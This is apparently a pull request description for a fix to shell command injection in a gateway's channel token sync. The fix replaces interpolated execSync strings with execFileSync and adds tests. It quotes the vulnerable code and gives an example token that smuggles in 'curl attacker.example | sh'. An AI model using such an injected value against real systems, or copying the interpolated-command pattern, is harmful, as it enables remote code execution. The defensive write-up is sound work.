Fix shell command injection in channel token sync

[jay79-boop]

Summary

syncChannelConfig() in lib/server/gateway.js built its openclaw channels add/remove commands as interpolated shell strings and ran them with execSync() (which executes via /bin/sh -c):

execSync(`openclaw channels add --channel ${ch} --token "${token}"`, ...)
execSync(`openclaw channels add --channel slack --bot-token "${token}" --app-token "${appToken}"`, ...)

token/appToken come from saved env var values (channel bot tokens), wrapped in double quotes but never escaped. A value containing ", $, or a backtick breaks out of the quoted argument and lets the rest of the string execute as additional shell commands — e.g. a token of abc" ; curl attacker.example | sh ; echo " becomes a second, attacker-chosen command run by the same process. (ch itself is always one of the hardcoded kChannelDefs keys, so that part was never at risk — only the token values.)

This function runs both from the authenticated PUT /api/env handler (routes/system.js) and unconditionally at every server startup, reading straight from .env on disk (startup.js: syncChannelConfig(readEnvFile())). So it's reachable by whatever produced the token value currently in .env — not only by someone hand-typing into the Envars UI. (Onboarding's config-import flow, for one, can seed .env from an external source.)

The rest of this codebase already handles this correctly elsewhere — agents/channels.js escapes every token via shellEscapeArg() before building its clawCmd() strings. This one code path (bulk env-var-driven channel sync) never got the same treatment.

Fix

Switched to execFileSync() with the token/appToken passed as separate argv entries, which never goes through a shell at all — the same approach already used correctly in routes/browse/git.js — rather than trying to get manual shell-quoting right.

Test plan

• Added tests/server/gateway.test.js coverage proving a token containing shell metacharacters (", ;, backticks) is passed through as a single, literal argv element for both the generic (--token) and Slack (--bot-token/--app-token) code paths.
• Full gateway.test.js suite passes unchanged (the 6 pre-existing failures on this run are unrelated Windows-path artifacts, not caused by this change).